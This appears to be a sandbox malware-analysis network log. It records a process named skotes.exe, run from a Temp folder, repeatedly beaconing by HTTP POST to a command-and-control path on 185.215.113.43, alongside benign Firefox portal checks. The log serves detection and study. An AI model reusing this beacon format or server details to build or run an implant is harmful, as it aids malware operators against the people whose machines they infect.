Nov 23, 2024 13:34:08.130055904 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:09.557643890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	50237	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:11.296381950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:12.636051893 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	50238	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:14.278863907 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:15.707415104 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	50239	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:17.446304083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:17.805511951 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:18.207705975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:19.573895931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	50240	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:21.204694986 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:22.642241001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	50241	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:24.380511999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:25.800323963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	50242	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:27.434884071 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:28.783868074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	50243	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:30.531640053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:31.986357927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	50244	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:33.628674030 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:35.067569971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	50245	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:36.803175926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:38.211692095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	50246	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:39.838824034 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:41.269083023 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	50247	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:43.014273882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:44.473020077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	50248	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:46.111404896 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:47.540977955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	50249	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:49.292057037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:50.633907080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	50250	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:52.261703968 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:53.654372931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	50253	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:54.734687090 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:34:55.913918972 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 20818 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:35:06.009862900 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:35:16.220127106 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:35:20.365221977 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:35:20.703102112 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 20843 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:35:30.709609032 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:35:40.920995951 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:35:51.109231949 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:01.319499969 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:11.512929916 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:21.720340967 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:31.909507036 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:42.119151115 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:37:00.591594934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:37:01.031630993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 20943 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:37:01.906866074 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:37:02.240520000 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 20945 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	50254	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:55.399909973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:56.835334063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	50255	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:56.037065983 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:34:57.214607000 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 41152 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:35:07.216679096 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:35:17.405899048 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:35:20.709074020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:35:21.042845011 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 41175 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:35:31.113137960 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:35:41.302648067 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:35:51.513591051 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:01.801990032 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:12.013051987 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:22.202658892 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:32.412277937 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:36:42.702090979 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:37:01.034605026 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
